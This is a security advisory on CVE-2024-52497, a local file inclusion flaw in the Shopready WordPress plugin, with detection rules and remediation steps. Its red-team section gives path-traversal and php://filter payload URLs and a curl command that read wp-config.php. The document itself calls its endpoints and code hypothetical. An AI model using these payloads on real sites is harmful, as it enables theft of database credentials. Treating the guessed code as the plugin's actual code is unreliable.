CVE-2024-52497

Executive Summary

CVE-2024-52497 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Shopready WordPress plugin (shopready-elementor-addon) developed by Quomodosoft. This vulnerability affects all versions up to and including 3.6. The flaw stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. There is no known supply chain compromise of the plugin's source code; the vulnerability is a result of insecure coding practices within the plugin itself.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – File contents cannot be modified.
• Availability Impact: None (A:N) – Service availability is not directly affected.

Threat Level: High. The low attack complexity and lack of required privileges make this an attractive target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability exists in the shopready-elementor-addon plugin's handling of file inclusion. The plugin likely uses a parameter (e.g., file, template, view) to dynamically include PHP files for rendering templates or components. Due to insufficient sanitization and validation of the filename parameter, an attacker can supply path traversal sequences (e.g., ../../) to include arbitrary files from the server's filesystem.

Root Cause: The plugin uses a function like include() or require() with a user-supplied filename without properly restricting the path to a predefined directory. The code may look similar to:

$file = $_GET['file'];
include( $file . '.php' );

This allows an attacker to request:

/wp-content/plugins/shopready-elementor-addon/?file=../../../../wp-config

Which would include /var/www/html/wp-config.php (assuming the plugin is in the standard WordPress directory structure).

Impact: An attacker can read sensitive files such as:

• wp-config.php (database credentials, salts, keys)
• /etc/passwd (user enumeration)
• Log files (e.g., /var/log/apache2/access.log) which may contain PHP code if log injection is possible.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.6):

// vulnerable.php
$file = $_GET['file'];
include( $file . '.php' );

Patched Code (Hypothetical):

// patched.php
$allowed_dir = plugin_dir_path( __FILE__ ) . 'templates/';
$file = basename( $_GET['file'] );
$file_path = $allowed_dir . $file . '.php';
if ( file_exists( $file_path ) ) {
    include( $file_path );
} else {
    // Handle error
}

The patched version restricts file inclusion to a specific directory (templates/) and uses basename() to strip path traversal sequences.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with Shopready plugin version <= 3.6 active.
• The plugin must be accessible via a web server.

Exploitation Steps:

1. Identify the vulnerable endpoint: The vulnerable parameter is likely file or template in the plugin's AJAX handler or shortcode. For example:

   http://target.com/wp-admin/admin-ajax.php?action=shopready_load_template&file=../../../../wp-config
   

2. Craft the payload: Use path traversal to read sensitive files. For wp-config.php:

   http://target.com/wp-content/plugins/shopready-elementor-addon/?file=../../../../wp-config
   

3. Execute the request: Use curl or a browser:

   curl "http://target.com/wp-content/plugins/shopready-elementor-addon/?file=../../../../wp-config"
   

4. Extract data: The response will contain the contents of wp-config.php (if the file extension .php is appended automatically, the PHP code will be executed, not displayed. To read the source, use a wrapper like php://filter):

   http://target.com/wp-content/plugins/shopready-elementor-addon/?file=php://filter/convert.base64-encode/resource=../../../../wp-config
   

   Then decode the base64 output.

Note: Since no public exploit code is available, the above is a theoretical exploitation path based on common LFI patterns.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing ../ or php:// in query parameters.
• Look for requests to shopready-elementor-addon with suspicious file parameters.
• Use the detection rules provided in the Detection Engineering section.

Defense:

• Immediately update the plugin to a patched version if available.
• If no patch exists, disable or remove the plugin.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file inclusion to a whitelist of allowed files.

Indicators of Compromise (IOCs)

• URL Patterns:

  • */wp-content/plugins/shopready-elementor-addon/*?file=*
  • */admin-ajax.php?action=shopready_load_template&file=*
  • *?file=php://filter/*
  • *?file=../../*

• Log Entries:

  • HTTP requests with status 200 and query strings containing file=../ or file=php://.
  • Repeated attempts to access wp-config.php via the plugin.

• File System:

  • Unexpected inclusion of files outside the plugin directory (e.g., /etc/passwd in PHP error logs).

Detection Engineering

YARA Rule

rule CVE_2024_52497_Shopready_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2024-52497 in Shopready plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52497"
    strings:
        $s1 = "shopready-elementor-addon" nocase
        $s2 = "file=" nocase
        $s3 = "../" nocase
        $s4 = "php://" nocase
    condition:
        $s1 and $s2 and ($s3 or $s4)
}

Sigma Rule

title: CVE-2024-52497 Shopready LFI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit Local File Inclusion in Shopready plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'shopready-elementor-addon'
            - 'file='
            - '../'
            - 'php://'
    condition: selection
falsepositives:
    - Legitimate use of file parameter with valid paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52497 Shopready LFI Exploitation Attempt"; flow:to_server; content:"shopready-elementor-addon"; http_uri; content:"file="; http_uri; content:"../"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Shopready plugin until a patch is available.
2. Implement a WAF rule to block requests containing file=../ or file=php:// in the query string.
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

• The vendor (Quomodosoft) must release a patched version that properly sanitizes file paths, restricts inclusion to a whitelist, and uses basename() or realpath() to prevent traversal.
• Users should update to the latest version once available.

Workaround:

• If the plugin cannot be removed, modify the plugin code to add path validation (see patched code example in the Vulnerable vs. Patched Code section).

Valters IT